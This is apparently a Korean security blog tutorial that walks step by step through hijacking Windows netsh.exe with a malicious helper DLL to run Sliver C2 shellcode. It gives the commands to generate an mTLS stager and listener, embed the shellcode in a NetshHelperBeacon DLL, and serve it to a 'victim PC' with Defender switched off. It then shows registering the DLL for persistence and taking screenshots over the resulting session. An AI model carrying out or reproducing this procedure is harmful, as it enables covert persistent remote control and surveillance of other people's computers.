Security

netsh.exe (Sliver C2)

마이크로 소프트 netsh.exe를 이용한 코드 실행 방법

슬리버(Sliver)는 BishopFox사에서 제작/관리하고 있는 golang 기반의 오픈소스 C2 프레임워크다.

칼리 리눅스에서 설치는 다음과 같다.

Copy
curl https://sliver.sh/install|sudo bash

sliver 실행
Copy
sliver
Copy
sliver> help
Copy
sliver> profiles new --mtls 192.168.50.9 --format shellcode win-shellcode
Copy
sliver> stage-listener --url http://192.168.50.9:9001 --profile win-shellcode

http stager 에 대해 실행 중인 작업을 확인할수 있다.
Copy
sliver> jobs
Copy
sliver> generate stager --lhost 192.168.50.9 --lport 9001 --protocol http --save /tmp

https://github.com/outflanknl/NetshHelperBeacon 사이트로 가서 소스에 NetshHelperBeacon 폴더로 들어가자.
NetshHelperBeacon.cpp 을 클릭해서 열자.
raw 버튼 클릭한 후에 클립보드에 복사 하자.

windows 10 에 visual studio을 실행하자. 새프로젝트 생성하고 언어는 C++ 선택 하자.
dll 검색후 아래 그림과 같이 첫번째 선택 하면 된다.

Test Image

프로젝트명은 netshhelper으로 하고 생성 버튼 클릭

dllmain.cpp
Copy
#include "pch.h" 

위에 코드만 남기고 모두 삭제 하자.

위에서 복사한 코드를 붙여넣기 하자.

dllmain.cpp
Copy
system("start calc");

계산기 실행 부분 삭제 하자.

dllmain.cpp
Copy
#ifdef _M_X64
unsigned char buf[] = "...";
#else
unsigned char buf[] = "...";
#endif

2행만 남기고 모두 삭제 하자.

칼리 리눅스로 돌아가서 nim 이 설치되어 있지 않으면 nim programming language 를 설치하자.

Copy
sudo apt install nim
sudo apt install build-essential
curl https://nim-lang.org/choosenim/init.sh -sSf | sh
Copy
nano ~/.profile

.profile 을 열어서 파일의 끝에 아래 내용을 추가 하자.
Copy
export PATH=/home/user/.nimble/bin:$PATH

export PATH 부분은 위의 내용이 아니라 터미널에 출력 되는 내용을 복사해서 추가하자.

적용하고 nim 버젼을 확인하자.
Copy
source ~/.profile
nim -v

binnim 을 설치하자.
먼저 git 에서 다운로드 하자.
Copy
git clone https://github.com/JohnHammond/binnim.git

binnim 은 파일의 내용을 `\x` hex representation로 반환한다.
이 툴의 목적은 shellcode binary 파일로 부터 string을 얻기 위함이다.

컴파일하자.

Copy
nimble build

설치하자.
Copy
nimble install
Copy
./binnim --help

실행해서 클립보드로 복사하자.
Copy
./binnim /tmp/SOUND_SHELL | xclip -selection clipboard

xclip 이 없다면 설치하자.
Copy
sudo apt update
sudo apt install xclip -y

클립보드에 복사를 했으면 윈도우 10 으로 돌아와서 비주얼 스튜디오를 열고 dllmain.cpp를 수정하자.
unsigned char buff[] 에 복사한 내용을 붙여녛기 하자.
Release 로 빌드하자.

여기서 비쥬얼 스튜디오 기본설정으로 빌드한 dll을 비주얼 스튜디오가 설치되 있지 않은 다른 윈도우 10에서 실행하면 netsh가 dll을 로드 하지 못한다.
아래 그림에서 속성을 클릭하고

Test Image

c/c++ > 코드 생성 > 런타임 라이브러리 부분을 아래와 같이 설정한다.

Test Image

Test Image


참고로 실행파일이 필요로 하는 dll을 확인하기 위한 툴이 있다.

http://www.dependencywalker.com

터미널에서 아래 폴더로 이동한후 웹서버를 실행하자.

Copy
cd C:\Users\netwa\source\repos\netshhelper\x64\Release
python -m http.server

이제 피해자 pc 로 이동해서 브라우저에서 netshhelper.dll을 다운로드 하자.
이때 윈도우즈 defender 을 미리 꺼두자.
처음 설치하는 과정에서는 AMSI를 Bypass 하지 못한다.
그 이후에는 defender 나 다른 백신을 돌려도 문제가 없는것 같다.
피해자 pc 에서 다음을 실행하자.
Copy
netsh add helper C:\netsh-test\netshhelper.dll

이때 netsh 는 레지스트리를 수정하므로 관리자 권한이 있어야 한다.
regedit 실행해서 레지스트리를 검색하면 컴퓨터\HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\NetSh 에 netshhelper 부분에 dll 파일의 경로가 설정된 것을 확인할수 있다.

Test Image


칼리 리눅스에서 리스너를 실행하자.
Copy
sliver> mtls
sliver> jobs

피해자 pc 에서 netsh 를 실행하자.
Copy
netsh

칼리 리눅스에서 연결된 세션을 볼수 있다.
Copy
sliver> use [session]

위에 session 이 연결될때 연결 정보가 터미널에 출력된다.
일부분을 입력하고 tab 키를 입력하면 자동완성 된다.
연결된후 help 명령을 이용하면 가능한 명령들을 확인할수 있다.
Copy
sliver> help
Copy
sliver> screenshot

저장된 example.png 파일을 실행해보자.
Copy
sliver> ristretto example.png

Reference